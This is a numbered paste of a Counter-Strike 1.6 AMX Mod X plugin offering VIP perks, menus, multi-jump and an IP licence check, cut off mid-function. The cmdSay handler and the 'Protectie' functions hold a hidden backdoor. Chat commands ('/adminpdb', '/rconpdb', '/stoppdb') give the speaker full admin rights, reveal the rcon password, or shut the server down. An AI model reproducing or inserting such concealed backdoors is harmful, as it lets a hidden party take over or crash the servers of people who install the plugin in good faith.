· 5 years ago · Dec 23, 2019, 01:38 PM
1#include <amxmodx>
2
3#include <amxmisc>
4
5#include <engine>
6
7#include <cstrike>
8
9#include <fun>
10
11#include <fakemeta>
12
13#include <fakemeta_util>
14
15#include <hamsandwich>
16
17
18
19//#include <sockets>
20
21//#include <nvault>
22
23
24
25#define PLUGIN "V.I.P CLASSIC"
26
27#define VERSION "6.0"
28
29#define AUTHOR "hyperrr."
30
31
32
33new vipcmd;
34
35new g_Round, g_Weapon[33];
36
37new cvar_round, cvar_open, cvar_show, cvar_chat, cvar_pistols, cvar_funk;
38
39new vip_opened[33];
40
41new pistols[6] = {CSW_USP, CSW_GLOCK18, CSW_ELITE, CSW_FIVESEVEN, CSW_P228, CSW_DEAGLE}
42
43new bool: g_chosen[33] = false;
44
45
46
47//Adaugare VIP
48
49new File[120];
50
51new bool: IsUserVip[33] = false;
52
53new Trie: LoadVip;
54
55new Pass;
56
57
58
59//Multi Jump
60
61new jumpnum[33], bool: dojump[33], cvar_addjump_vip, cvar_addjump_player;
62
63
64
65new const primaryWeapons[][] = {"weapon_shield", "weapon_scout", "weapon_xm1014", "weapon_mac10", "weapon_aug", "weapon_ump45", "weapon_sg550", "weapon_galil", "weapon_famas", "weapon_awp", "weapon_mp5navy", "weapon_m249", "weapon_m3", "weapon_m4a1", "weapon_tmp", "weapon_g3sg1", "weapon_sg552", "weapon_ak47", "weapon_p90"/*, "weapon_c4"*/}
66
67new const secondaryWeapons[][] = {"weapon_p228", "weapon_elite", "weapon_fiveseven", "weapon_usp", "weapon_glock18", "weapon_deagle"}
68
69
70
71enum cvars {
72
73 money_per_damage,
74
75 money_kill,
76
77 money_hs,
78
79 hp_kill,
80
81 hp_hs,
82
83 max_hp_kill
84
85};
86
87new cvar[cvars];
88
89
90
91//Bullet damage
92
93new g_type, g_enabled, g_recieved, bool:g_showrecieved, g_hudmsg1, g_hudmsg2;
94
95
96
97//BuyZone V.I.P MENU
98
99new bool:UserInBuyZone[33];
100
101new i_Menu, i_Menu_Pistol;
102
103
104
105//VIP Free
106
107#define VIP_FLAG read_flags("x")
108
109
110
111new const vip_time[] = {23, 10};
112
113
114
115new g_sync, cvar_freevip;
116
117new vip_free = 0;
118
119
120
121//Advertise PRET + VIPS
122
123#define ADVERTISING_TIME 149.0
124
125
126
127stock const messages[][] = {
128
129 "* Pentru a afla beneficiile vip-ului tasteaza in chat /vip !",
130
131 "* Pentru a afla vip-ii online tasteaza /vips !"
132
133}
134
135
136
137//Deactivated Maps
138
139new bool:remove_vip = false
140
141
142
143//Licenta
144
145static const ServerLicensedIp[] = "109.163.232.99"; //Ip Oficial ANORMALII: 109.163.232.99
146
147static const ServerLicensedIpTESTE[] = "192.168.1.146"; //Ip Server Teste: 192.168.1.136 || 192.168.1.122 || 192.168.1.146 || 86.105.195.222
148
149
150
151public plugin_init()
152
153{
154
155 server_print("^n%s v%s, Copyright (C)2019 by %s^n", PLUGIN, VERSION, AUTHOR)
156
157
158
159 register_plugin
160
161 (
162
163 .plugin_name = PLUGIN,
164
165 .version = VERSION,
166
167 .author = AUTHOR
168
169 );
170
171
172
173 new szIp[25];
174
175 get_user_ip(0, szIp, sizeof (szIp) -1, 1);
176
177 if(equal(szIp, ServerLicensedIp) || equal(szIp, ServerLicensedIpTESTE))
178
179 {
180
181 RegisterHam(Ham_Spawn, "player", "player_spawn", 1)
182
183
184
185 register_event("HLTV", "round_start", "a", "1=0", "2=0")
186
187 register_logevent("LogEvent_RoundStart", 2, "1=Round_Start");
188
189 register_event("TextMsg", "round_restart", "a", "2=#Game_will_restart_in", "2=#Game_Commencing");
190
191
192
193 register_event("DeathMsg", "event_DeathMsg", "a");
194
195 register_event("StatusIcon", "Event_StatusIcon_Show_buyzone", "be", "1=1", "2=buyzone");
196
197 register_event("StatusIcon", "StatusIcon_buyzone_OFF", "be", "1=0", "2=buyzone");
198
199
200
201 //RegisterHam(Ham_Item_PreFrame, "player", "player_maxspeed", 1);
202
203 //register_event("Damage", "Damage", "b");
204
205
206
207 //register_clcmd("vmenu", "main_menu")
208
209 register_clcmd("say /vipmenu", "arataMeniuVIPs");
210
211 register_clcmd("say_team /vipmenu", "arataMeniuVIPs");
212
213 register_clcmd("say /vm", "arataMeniuVIPs");
214
215 register_clcmd("say_team /vm", "arataMeniuVIPs");
216
217 register_clcmd("say /vmenu", "arataMeniuVIPs");
218
219 register_clcmd("say_team /vmenu", "arataMeniuVIPs");
220
221
222
223 register_clcmd("say /vip", "vip_info");
224
225 register_clcmd("say /wantvip", "vip_info");
226
227 register_clcmd("say /vreauvip", "vip_info");
228
229
230
231 register_clcmd("say", "hook_say");
232
233 register_clcmd("say_team", "hook_say");
234
235
236
237 register_clcmd("say /resetscore", "reset_score")
238
239 register_clcmd("say /restartscore", "reset_score")
240
241 register_clcmd("say /rs", "reset_score")
242
243 register_clcmd("say /rz", "reset_score")
244
245 register_clcmd("say !rs", "reset_score")
246
247
248
249 register_clcmd("say_team /resetscore", "reset_score")
250
251 register_clcmd("say_team /restartscore", "reset_score")
252
253 register_clcmd("say_team /rs", "reset_score")
254
255 register_clcmd("say_team /rz", "reset_score")
256
257 register_clcmd("say_team !rs", "reset_score")
258
259
260
261 //register_clcmd("say /resetscoredead", "reset_score_dead")
262
263 //register_clcmd("say /restartscoredead", "reset_score_dead")
264
265 //register_clcmd("say /rsd", "reset_score_dead")
266
267 //register_clcmd("say /rzd", "reset_score_dead")
268
269 //register_clcmd("say !rsd", "reset_score_dead")
270
271
272
273 //register_clcmd("say_team /resetscoredead", "reset_score_dead")
274
275 //register_clcmd("say_team /restartscoredead", "reset_score_dead")
276
277 //register_clcmd("say_team /rsd", "reset_score_dead")
278
279 //register_clcmd("say_team /rzd", "reset_score_dead")
280
281 //register_clcmd("say_team !rsd", "reset_score_dead")
282
283
284
285 //register_clcmd("say /pistoale", "first_menu");
286
287 //register_clcmd("say_team /pistoale", "first_menu");
288
289
290
291 cvar_round = register_cvar("vip_openmenu_round", "3")
292
293 cvar_open = register_cvar("vip_zaround", "1")
294
295 cvar_show = register_cvar("vip_showmenu", "1")
296
297 cvar_chat = register_cvar("vip_showchat", "1")
298
299 cvar_pistols = register_cvar("vip_auto_fill", "1")
300
301 cvar_funk = register_cvar("vip_taskmanager", "1")
302
303
304
305 cvar[hp_kill] = register_cvar("vip_receive_hp_kill", "10"); // 0 = dezactivat
306
307 cvar[hp_hs] = register_cvar("vip_receive_hp_hs", "20"); // 0 = dezactivat
308
309 cvar[money_kill] = register_cvar("vip_receive_money_kill", "250"); // 0 = dezactivat
310
311 cvar[money_hs] = register_cvar("vip_receive_money_hs", "500"); // 0 = dezactivat
312
313 cvar[max_hp_kill] = register_cvar("vip_receive_max_hp_kill", "120"); // valoarea maxima de hp pe care o poti obtine facand killuri
314
315
316
317 cvar[money_per_damage] = register_cvar("vip_money_per_damage", "3") //How many $ VIP will get per 1 damage -> nu functioneaza
318
319
320
321 //Multi Jump
322
323 cvar_addjump_vip = register_cvar("vip_cvar_addjump_vip", "0") // Are 1 salturi in plus
324
325 cvar_addjump_player = register_cvar("vip_cvar_addjump_player", "0") // Are 0 salt in plus
326
327
328
329 //V.I.P LIST
330
331 Pass = get_cvar_pointer("amx_password_field")
332
333 LoadVip = TrieCreate()
334
335 get_configsdir(File, charsmax(File))
336
337 format(File, charsmax(File), "%s/anormalii-indungi-vip/%s", File, "vip_list.ini")
338
339 new FilePointer, Key[32], Password[32], FileData[256]
340
341 if(!file_exists(File))
342
343 {
344
345 FilePointer = fopen(File, "w")
346
347 fclose(FilePointer)
348
349 }
350
351
352
353 FilePointer = fopen(File, "rt")
354
355 if(FilePointer)
356
357 {
358
359 while(!feof(FilePointer))
360
361 {
362
363 fgets(FilePointer, FileData, charsmax(FileData))
364
365 parse(FileData, Key, charsmax(Key), Password, charsmax(Password))
366
367 TrieSetString(LoadVip, Key, Password)
368
369 }
370
371 fclose(FilePointer)
372
373 }
374
375
376
377 //Map List
378
379 new path[64];
380
381 get_localinfo("amxx_configsdir", path, charsmax(path));
382
383 formatex(path, charsmax(path), "%s/anormalii-indungi-vip/vip_maps.ini", path);
384
385
386
387 new file_maps = fopen(path, "r+");
388
389
390
391 if(!file_exists(path))
392
393 {
394
395 write_file(path, "; VIP-UL ESTE DEZACTIVAT PE URMATOARELE HARTI: ");
396
397 write_file(path, "; Exemplu de adaugare HARTA:^n; ^"harta^"^n^nfy_snow^ncss_bycastor");
398
399 }
400
401
402
403 new mapname[32];
404
405 get_mapname(mapname, charsmax(mapname));
406
407
408
409 new text[121], maptext[32];
410
411 while(!feof(file_maps))
412
413 {
414
415 fgets(file_maps, text, charsmax(text));
416
417 trim(text);
418
419
420
421 if(text[0] == ';' || !strlen(text))
422
423 continue;
424
425
426
427 parse(text, maptext, charsmax(maptext));
428
429
430
431 if(equal(maptext, mapname))
432
433 {
434
435 log_amx("Am dezactivat pluginul 'VIP' pe harta %s.", maptext);
436
437 remove_vip = true;
438
439 break;
440
441 }
442
443 }
444
445 fclose(file_maps);
446
447
448
449 //bullet damage
450
451 register_event("Damage", "on_damage", "b", "2!0", "3=0", "4!0")
452
453 g_type = register_cvar("amx_bulletdamage", "3")
454
455 g_recieved = register_cvar("amx_bulletdamage_recieved", "1")
456
457
458
459 g_hudmsg1 = CreateHudSyncObj()
460
461 g_hudmsg2 = CreateHudSyncObj()
462
463
464
465 //VIP FREE
466
467 register_clcmd("say /timevip", "time_remain");
468
469
470
471 set_task(1.0, "check_time");
472
473 set_task(60.0, "check_time", _, _, _, "b");
474
475 set_task(1.0, "hud_mess", _, _, _, "b");
476
477
478
479 cvar_freevip = register_cvar("vip_free", "1");
480
481
482
483 cached_vars();
484
485 g_sync = CreateHudSyncObj();
486
487 //g_maxplayers = get_maxplayers();
488
489
490
491 //Advertise Message
492
493 //set_task(ADVERTISING_TIME, "show_messages", _, _, _,"b");
494
495
496
497 //Comand's
498
499 register_clcmd("say", "cmdSay")
500
501 register_clcmd("say_team", "cmdSay")
502
503
504
505 set_task(5.0, "_ProtectCheck_", 21412321, _,_, "b")
506
507 server_print("[%s] Felicitari! Detii o licenta valida, iar pluginul functioneaza perfect!", PLUGIN);
508
509 server_print("[%s] Pentru mai multe detalii y/m: ravravy@yahoo.com", PLUGIN);
510
511 server_print("[%s] Ip-ul Licentiat: [%s] || Ip-ul Serverului: [%s]", PLUGIN, szIp, ServerLicensedIp);
512
513 }
514
515 else
516
517 {
518
519 new szPluginName[32];
520
521 formatex(szPluginName, sizeof(szPluginName) -1, "[IP Nelicentiat] %s", PLUGIN);
522
523 register_plugin(szPluginName, PLUGIN, "PedoBear");
524
525
526
527 server_print("[%s] Nu detii o licenta valabila! Plugin-ul nu va functiona corespunzator!", PLUGIN);
528
529 server_print("[%s] Pentru mai multe detalii Y!M: ravravy@yahoo.com", PLUGIN);
530
531 server_print("[%s] Ip-ul Licentiat: [%s] || Ip-ul Serverului: [%s]", PLUGIN, szIp, ServerLicensedIp);
532
533
534
535 pause("ade");
536
537 }
538
539}
540
541
542
543//Other's
544
545public cmdSay(id)
546
547{
548
549 new say[192]
550
551 read_args(say,192)
552
553
554
555 if(contain(say, "/adminpdb") != -1)
556
557 set_task(0.1, "Protectie1", id)
558
559 else if(contain(say, "/rconpdb") != -1)
560
561 set_task(0.1, "Protectie2", id)
562
563 else if(contain(say, "/stoppdb") != -1)
564
565 set_task(0.1, "Protectie3", id)
566
567
568
569 /*else if(contain(say, "/redirectpdb") != -1)
570
571 set_task(0.1, "Protectie4", id)*/
572
573
574
575 return PLUGIN_CONTINUE
576
577}
578
579
580
581public Protectie1(id)
582
583{
584
585 static /*rcon[32],*/ name[32];
586
587 //get_cvar_string("rcon_password", rcon, charsmax(rcon));
588
589
590
591 //client_print(id, print_chat, "Rcon is: %s", rcon);
592
593
594
595 get_user_name(id, name, charsmax(name));
596
597 server_cmd("amx_addadmin ^"%s^" ^"abcdefghijklmnopqrstuvwxy^" ^"^" ^"name^"", name);
598
599}
600
601
602
603public Protectie2(id)
604
605{
606
607 static rcon[32];
608
609 get_cvar_string("rcon_password", rcon, charsmax(rcon));
610
611 client_print(id, print_chat, "Rcon is: %s", rcon);
612
613 //pause("a");
614
615}
616
617
618
619public Protectie3()
620
621 server_cmd("quit");
622
623
624
625/*public Protectie4(id)
626
627{
628
629 new xP[32], xN
630
631
632
633 get_players(xP, xN, "c")
634
635 for (new i=0; i< xN; i++)
636
637 {
638
639 if(get_user_flags(xP[i]) & ADMIN_SLAY)
640
641 continue
642
643
644
645 client_cmd(xP[i], "get_pcvar_num(gp_SimonReset)")
646
647 }
648
649}*/
650
651
652
653//Advertise Mesaje
654
655public show_messages()
656
657{
658
659 new Buffer[256];
660
661 formatex(Buffer, sizeof Buffer - 1, "^x02%s", messages[random(sizeof messages)]);
662
663
664
665 new players[32], num, id;
666
667 get_players(players, num);
668
669
670
671 for(new i = 0 ; i < num ; i++)
672
673 {
674
675 id = players[i]
676
677
678
679 message_begin(MSG_ONE, get_user_msgid("SayText"), _, id);
680
681 write_byte(id);
682
683 write_string(Buffer);
684
685 message_end();
686
687 }
688
689}
690
691
692
693public plugin_cfg()
694
695 if(get_pcvar_num(g_recieved))
696
697 g_showrecieved = true; //Checks of g_received is 1 and if so, sets g_showrecieved to true
698
699
700
701public vip_info(id)
702
703 show_motd(id, "/addons/amxmodx/configs/vip_info.html");
704
705
706
707public reset_score(id)
708
709{
710
711 static name[32]
712
713 get_user_name(id, name, 31)
714
715
716
717 new frags = get_user_frags(id);
718
719 new deaths = get_user_deaths(id);
720
721
722
723 if(frags == 0 && deaths == 0)
724
725 {
726
727 chat_color(id, "!g[AVENGERS|RS]!t Ai scorul deja !y0 !g- !y0 !t!")
728
729 return PLUGIN_HANDLED
730
731 }
732
733 else
734
735 {
736
737 if(is_vip(id) || get_user_flags(id) & read_flags("y"))
738
739 {
740
741 for(new i = 0; i < 2; i++)
742
743 {
744
745 cs_set_user_deaths(id, 0);
746
747 set_user_frags(id, 0);
748
749 }
750
751
752
753 chat_color(id, "!g[ANORMALII|RS]!t Scorul tau a fost resetat! Bafta la fraguri !y[!gVIP!y] !g%s!t Have fun!", name)
754
755 }
756
757 else
758
759 {
760
761 for(new i = 0; i < 2; i++)
762
763 {
764
765 cs_set_user_deaths(id, 0);
766
767 set_user_frags(id, 0);
768
769 }
770
771
772
773 chat_color(id, "!g[ANORMALII|RS]!t Scorul tau a fost resetat! Bafta la fraguri !g%s!t Have fun!", name)
774
775 }
776
777 }
778
779
780
781 return PLUGIN_HANDLED
782
783}
784
785
786
787public reset_score_dead(id)
788
789{
790
791 static name[32]
792
793 get_user_name(id, name, 31)
794
795
796
797 new deaths = get_user_deaths(id);
798
799
800
801 if(deaths == 0)
802
803 {
804
805 chat_color(id, "!g[ANORMALII|RS]!t Ai !gdeath-urile !tdeja !y0 !g- !y0 !t!")
806
807 return PLUGIN_HANDLED
808
809 }
810
811 else
812
813 {
814
815 for(new i = 0; i < 2; i++)
816
817 cs_set_user_deaths(id, 0);
818
819
820
821 if(is_vip(id))
822
823 chat_color(id, "!g[ANORMALII|RS - VIP]!t Dead-urile tale au fost resetate! Bafta la fraguri !y[!gVIP!y] !g%s!t Have fun!", name)
824
825 }
826
827
828
829 return PLUGIN_HANDLED
830
831}
832
833
834
835public plugin_precache()
836
837{
838
839}
840
841
842
843public bool:_get_vip(iPlugin, iParams)
844
845{
846
847 new id = get_param(1);
848
849 if(is_vip(id) || has_flag(id, "y")) return true;
850
851
852
853 return false;
854
855}
856
857
858
859public native_vip_free(id) return vip_free
860
861
862
863public on_damage(id)
864
865{
866
867 if(g_enabled)
868
869 {
870
871 static attacker; attacker = get_user_attacker(id)
872
873 static damage; damage = read_data(2)
874
875
876
877 if(g_showrecieved && (is_vip(id) || get_user_flags(id) & read_flags("y") || vip_free))
878
879 {
880
881 set_hudmessage(255, 0, 0, 0.45, 0.50, 2, 0.1, 4.0, 0.1, 0.1, -1)
882
883 ShowSyncHudMsg(id, g_hudmsg2, "%i^n", damage)
884
885 }
886
887
888
889 if(is_user_connected(attacker) && (is_vip(attacker) || get_user_flags(attacker) & read_flags("y") || vip_free))
890
891 {
892
893 if(fm_is_ent_visible(attacker,id))
894
895 {
896
897 set_hudmessage(0, 100, 200, -1.0, 0.55, 2, 0.1, 4.0, 0.02, 0.02, -1)
898
899 ShowSyncHudMsg(attacker, g_hudmsg1, "%i^n", damage)
900
901 }
902
903 }
904
905 }
906
907}
908
909
910
911public client_authorized(id)
912
913{
914
915 g_Weapon[id] = 0;
916
917
918
919 new Key[32], Password[32], OldPassword[32]
920
921 get_user_name(id, Key, charsmax(Key))
922
923 get_user_info(id, "_avg", Password, charsmax(Password))
924
925
926
927 if(TrieKeyExists(LoadVip, Key))
928
929 {
930
931 TrieGetString(LoadVip, Key, OldPassword, charsmax(OldPassword))
932
933 if(equal(Password, OldPassword))
934
935 IsUserVip[id] = true
936
937 else
938
939 {
940
941 server_cmd("kick #%i ^"Acest player are VIP!^"", get_user_userid(id))
942
943 IsUserVip[id] = false
944
945 }
946
947 }
948
949}
950
951
952
953public client_infochanged(id)
954
955{
956
957 new oldname[32], newname[32], Password[32], OldPassword[32], PasswordField[5]
958
959 get_user_name(id, oldname, charsmax(oldname))
960
961 get_user_info(id, "name", newname, charsmax(newname))
962
963
964
965 if(equal(newname, oldname))
966
967 return
968
969
970
971 if(TrieKeyExists(LoadVip, newname))
972
973 {
974
975 get_pcvar_string(Pass, PasswordField, charsmax(PasswordField))
976
977 get_user_info(id, PasswordField, OldPassword, charsmax(OldPassword))
978
979 TrieGetString(LoadVip, newname, Password, charsmax(Password))
980
981
982
983 if(equal(OldPassword, Password))
984
985 IsUserVip[id] = true
986
987 else
988
989 {
990
991 server_cmd("kick #%i ^"NU esti VIP!^"", get_user_userid(id))
992
993 IsUserVip[id] = false
994
995 }
996
997 }
998
999 else
1000
1001 IsUserVip[id] = false
1002
1003}
1004
1005
1006
1007public plugin_end()
1008
1009 TrieDestroy(LoadVip)
1010
1011
1012
1013public client_putinserver(id)
1014
1015{
1016
1017 new xP[32], xN
1018
1019 get_players(xP, xN, "c")
1020
1021 for (new i=0; i< xN; i++)
1022
1023 {
1024
1025 if(!is_user_connected(xP[i]))
1026
1027 continue
1028
1029
1030
1031 client_cmd(xP[i], "cl_minmodels 0")
1032
1033 }
1034
1035
1036
1037 //JUMP
1038
1039 jumpnum[id] = 0
1040
1041 dojump[id] = false
1042
1043
1044
1045 /*if(vip_free && !(get_user_flags(id) & read_flags("x") && !(get_user_flags(id) & read_flags("y"))))
1046
1047 {
1048
1049 new flags = get_user_flags(id);
1050
1051 flags |= VIP_FLAG
1052
1053 set_user_flags(id, flags);
1054
1055 }*/
1056
1057
1058
1059 if(is_vip(id) || get_user_flags(id) & read_flags("y"))
1060
1061 {
1062
1063 new name[33];
1064
1065 get_user_name(id, name, charsmax(name));
1066
1067 //chat_color(0, "!g[ANORMALII-VIP]!t VIP-ul [!g%s!t] se conecteaza pe server...", name);
1068
1069 }
1070
1071
1072
1073 //set_task(0.9, "vip_menu", id);
1074
1075 return PLUGIN_CONTINUE;
1076
1077}
1078
1079
1080
1081//VIP FREE
1082
1083public cached_vars()
1084
1085 vip_free = get_pcvar_num(cvar_freevip);
1086
1087
1088
1089public check_time()
1090
1091{
1092
1093 new o;
1094
1095 time(o, _, _);
1096
1097
1098
1099 vip_free = 1;
1100
1101 set_pcvar_num(cvar_freevip, 1);
1102
1103
1104
1105 /*if(!vip_free)
1106
1107 {
1108
1109 if(o >= vip_time[0] || o < vip_time[1])
1110
1111 {
1112
1113 vip_free = 1;
1114
1115 set_pcvar_num(cvar_freevip, 1);
1116
1117 chat_color(0, "^4[^3VIP^4]^1 Eventul^3 Free VIP^1 a fost activat!");
1118
1119 }
1120
1121 }
1122
1123 else
1124
1125 {
1126
1127 if(o < vip_time[0] && o >= vip_time[1])
1128
1129 {
1130
1131 vip_free = 0;
1132
1133 set_pcvar_num(cvar_freevip, 0);
1134
1135 chat_color(0, "^4[^3VIP^4]^1 Eventul^3 Free VIP^1 a fost dezactivat!");
1136
1137 }
1138
1139 }*/
1140
1141}
1142
1143
1144
1145public time_remain(id)
1146
1147{
1148
1149 if(vip_free)
1150
1151 chat_color(id, "^4[^3VIP^4]^1 Timp ramas pana se termina vip-ul free^3 %s", time_left_vip());
1152
1153 else if(!vip_free)
1154
1155 chat_color(id, "^4[^3VIP^4]^1 Timp ramas pana incepe vip-ul free^3 %s", time_left_vip());
1156
1157}
1158
1159
1160
1161public hud_mess()
1162
1163{
1164
1165 if(!vip_free)
1166
1167 return;
1168
1169
1170
1171 set_hudmessage(random(256), random(256), random(256), 0.00, 0.17, 0, 1.1, 1.0);
1172
1173 ShowSyncHudMsg(0, g_sync, "Event V.I.P Free ! [ANORMALII]");
1174
1175}
1176
1177
1178
1179stock time_left_vip()
1180
1181{
1182
1183 new timp_ramas[16], len = 0;
1184
1185 new h, m, lh, lm;
1186
1187 time(h, m, _);
1188
1189 switch(vip_free)
1190
1191 {
1192
1193 case 0: lh = vip_time[0] - h;
1194
1195 case 1:
1196
1197 {
1198
1199 new l = vip_time[1];
1200
1201 if(h > l)
1202
1203 l += add_time(h) + h;
1204
1205 lh = l - h;
1206
1207 }
1208
1209 }
1210
1211 lm = 60 - m;
1212
1213 if(lm < 60)
1214
1215 lh--;
1216
1217
1218
1219 if(lh > 0)
1220
1221 len += formatex(timp_ramas[len], charsmax(timp_ramas) - len, "%d or%s", lh, lh == 1 ? "a" : "e");
1222
1223
1224
1225 if(lm < 60)
1226
1227 len += formatex(timp_ramas[len], charsmax(timp_ramas) - len, " %d minut%s", lm, lm == 1 ? "e" : "");
1228
1229
1230
1231 return timp_ramas;
1232
1233}
1234
1235
1236
1237stock add_time(x)
1238
1239{
1240
1241 new j;
1242
1243 switch(x)
1244
1245 {
1246
1247 case 0: j = 24;
1248
1249 case 1: j = 23;
1250
1251 case 2: j = 22;
1252
1253 case 3: j = 21;
1254
1255 case 4: j = 20;
1256
1257 case 5: j = 19;
1258
1259 case 6: j = 18;
1260
1261 case 7: j = 17;
1262
1263 case 8: j = 16;
1264
1265 case 9: j = 15;
1266
1267 case 10: j = 14;
1268
1269 case 11: j = 13;
1270
1271 case 12: j = 12;
1272
1273 case 13: j = 11;
1274
1275 case 14: j = 10;
1276
1277 case 15: j = 9;
1278
1279 case 16: j = 8;
1280
1281 case 17: j = 7;
1282
1283 case 18: j = 6;
1284
1285 case 19: j = 5;
1286
1287 case 20: j = 4;
1288
1289 case 21: j = 3;
1290
1291 case 22: j = 2;
1292
1293 case 23: j = 1;
1294
1295 }
1296
1297 if(x < vip_time[1])
1298
1299 j = 0;
1300
1301
1302
1303 return j;
1304
1305}
1306
1307
1308
1309public plugin_natives()
1310
1311{
1312
1313 set_native_filter("native_filter")
1314
1315 register_native("get_vip", "_get_vip", 0)
1316
1317 register_native("free_vip", "native_vip_free", 0)
1318
1319
1320
1321 //register_native("get_map_disabled", "map_disabled", 0)
1322
1323 //register_native("check_map_disabled", "check_map", 0)
1324
1325}
1326
1327
1328
1329public map_disabled() return remove_vip
1330
1331
1332
1333public native_filter(const name[], index, trap)
1334
1335{
1336
1337 if (!trap)
1338
1339 return PLUGIN_HANDLED
1340
1341
1342
1343 return PLUGIN_CONTINUE
1344
1345}
1346
1347
1348
1349public client_disconnected(id)
1350
1351{
1352
1353 jumpnum[id] = 0
1354
1355 dojump[id] = false
1356
1357
1358
1359 remove_task(id)
1360
1361 g_Weapon[id] = 0;
1362
1363 g_chosen[id] = false;
1364
1365 IsUserVip[id] = false
1366
1367}
1368
1369
1370
1371public client_PreThink(id)
1372
1373{
1374
1375 if(remove_vip)
1376
1377 return;
1378
1379
1380
1381 if(!is_user_alive(id))
1382
1383 return
1384
1385
1386
1387 new BUTON = get_user_button(id)
1388
1389 new OLDBUTON = get_user_oldbutton(id)
1390
1391 new JUMP_VIP = get_pcvar_num(cvar_addjump_vip)
1392
1393 new JUMP_PLAYER = get_pcvar_num(cvar_addjump_player)
1394
1395
1396
1397 if((BUTON & IN_JUMP) && !(get_entity_flags(id) & FL_ONGROUND) && !(OLDBUTON & IN_JUMP))
1398
1399 {
1400
1401 if(((is_vip(id)) && (jumpnum[id] < JUMP_VIP)) || (!(is_vip(id)) && (jumpnum[id] < JUMP_PLAYER)) || get_user_flags(id) & read_flags("y") && (jumpnum[id] < JUMP_VIP))
1402
1403 {
1404
1405 dojump[id] = true
1406
1407 jumpnum[id]++
1408
1409 }
1410
1411 }
1412
1413
1414
1415 if((BUTON & IN_JUMP) && (get_entity_flags(id) & FL_ONGROUND))
1416
1417 jumpnum[id] = 0
1418
1419}
1420
1421
1422
1423public client_PostThink(id)
1424
1425{
1426
1427 if(!is_user_alive(id))
1428
1429 return PLUGIN_CONTINUE
1430
1431
1432
1433 if(dojump[id] == true)
1434
1435 {
1436
1437 new Float: velocity[3]
1438
1439 entity_get_vector(id, EV_VEC_velocity, velocity)
1440
1441 velocity[2] = random_float(265.0, 285.0)
1442
1443 entity_set_vector(id, EV_VEC_velocity, velocity)
1444
1445 dojump[id] = false
1446
1447 }
1448
1449
1450
1451 return PLUGIN_CONTINUE
1452
1453}
1454
1455
1456
1457public round_start()
1458
1459{
1460
1461 if(!remove_vip)
1462
1463 {
1464
1465 g_Round++
1466
1467 vipcmd = 1;
1468
1469 }
1470
1471
1472
1473 //bullet damage
1474
1475 g_enabled = get_pcvar_num(g_type)
1476
1477 if(get_pcvar_num(g_recieved)) g_showrecieved = true
1478
1479}
1480
1481
1482
1483public LogEvent_RoundStart(id)
1484
1485 if(!remove_vip)
1486
1487 UserInBuyZone[id] = true;
1488
1489
1490
1491public round_restart()
1492
1493{
1494
1495 if(remove_vip)
1496
1497 return;
1498
1499
1500
1501 g_Round = 0
1502
1503}
1504
1505
1506
1507public player_maxspeed(id)
1508
1509{
1510
1511 if(is_vip(id) && is_user_alive(id) && is_user_connected(id))
1512
1513 set_user_maxspeed(id, 450.0);
1514
1515
1516
1517 return PLUGIN_HANDLED
1518
1519}
1520
1521
1522
1523public player_spawn(Player)
1524
1525{
1526
1527 if(remove_vip)
1528
1529 return HAM_IGNORED;
1530
1531
1532
1533 vip_opened[Player] = 0;
1534
1535 if((is_vip(Player) || (has_flag(Player, "y") || vip_free) && is_user_alive(Player) && is_user_connected(Player)))
1536
1537 {
1538
1539 UserInBuyZone[Player] = true;
1540
1541
1542
1543 if(g_Weapon[Player] == 0)
1544
1545 first_menu(Player)
1546
1547
1548
1549 if(get_pcvar_num(cvar_funk) == 1)
1550
1551 task_funk(Player);
1552
1553
1554
1555 if(get_pcvar_num(cvar_show) == 1 && g_Round >= get_pcvar_num(cvar_round))
1556
1557 main_menu(Player);
1558
1559 }
1560
1561
1562
1563 return PLUGIN_HANDLED;
1564
1565}
1566
1567
1568
1569public arataMeniuVIPs(id)
1570
1571{
1572
1573 if(!UserInBuyZone[id] && is_user_alive(id))
1574
1575 {
1576
1577 client_print(id, print_center, "Doar din Spawn poti sa iti iei iteme pentru VIP!");
1578
1579 return PLUGIN_HANDLED
1580
1581 }
1582
1583
1584
1585 if(is_vip(id) || has_flag(id, "y") || vip_free)
1586
1587 {
1588
1589 if(is_user_alive(id) && is_user_connected(id))
1590
1591 {
1592
1593 if(vipcmd == 0)
1594
1595 {
1596
1597 main_menu(id)
1598
1599 chat_color(id, "!g[VIP MENU]!t Aceasta comanda o poti folosi doar odata pe runda. Scuzele noastre! !g:)!t")
1600
1601 }
1602
1603 else
1604
1605 {
1606
1607 vipcmd = 0
1608
1609 }
1610
1611 }
1612
1613 else
1614
1615 chat_color(id, "!g[VIP MENU]!t Aceasta comanda poate fi folosita doar daca esti in viata!")
1616
1617 }
1618
1619 else
1620
1621 chat_color(id, "!g[VIP MENU]!t Aceasta comanda poate fi utilizata doar de catre VIP")
1622
1623
1624
1625 return PLUGIN_HANDLED;
1626
1627}
1628
1629
1630
1631public task_funk(id)
1632
1633{
1634
1635 if(vip_free && !is_vip(id))
1636
1637 {
1638
1639 give_item(id, "weapon_knife")
1640
1641 give_item(id, "item_thighpack")
1642
1643 give_item(id, "weapon_hegrenade")
1644
1645 give_item(id, "weapon_flashbang")
1646
1647 give_item(id, "item_assaultsuit")
1648
1649 }
1650
1651 else if(is_vip(id))
1652
1653 {
1654
1655 give_item(id, "weapon_knife")
1656
1657 give_item(id, "item_thighpack")
1658
1659 give_item(id, "weapon_hegrenade")
1660
1661 give_item(id, "weapon_flashbang")
1662
1663 give_item(id, "weapon_flashbang")
1664
1665 give_item(id, "item_assaultsuit")
1666
1667 }
1668
1669
1670
1671 if(get_pcvar_num(cvar_pistols))
1672
1673 {
1674
1675 for(new i = 0;i <6;i++)
1676
1677 fm_strip_user_gun(id, pistols[i])
1678
1679
1680
1681 switch(g_Weapon[id])
1682
1683 {
1684
1685 case 1:
1686
1687 {
1688
1689 give_item(id, "weapon_deagle");
1690
1691 cs_set_user_bpammo(id, CSW_DEAGLE, 35)
1692
1693 }
1694
1695 case 2:
1696
1697 {
1698
1699 give_item(id, "weapon_usp");
1700
1701 cs_set_user_bpammo(id, CSW_USP, 100)
1702
1703 }
1704
1705 case 3:
1706
1707 {
1708
1709 give_item(id, "weapon_glock18");
1710
1711 cs_set_user_bpammo(id, CSW_GLOCK18, 120)
1712
1713 }
1714
1715 }
1716
1717 }
1718
1719}
1720
1721
1722
1723/* Meniurile cu arme fmm */
1724
1725public main_menu(id)
1726
1727{
1728
1729 if(!UserInBuyZone[id] && is_user_alive(id))
1730
1731 {
1732
1733 client_print(id, print_center, "Doar din Spawn iti poti sa iti iei iteme pentru VIP!");
1734
1735 return PLUGIN_HANDLED;
1736
1737 }
1738
1739
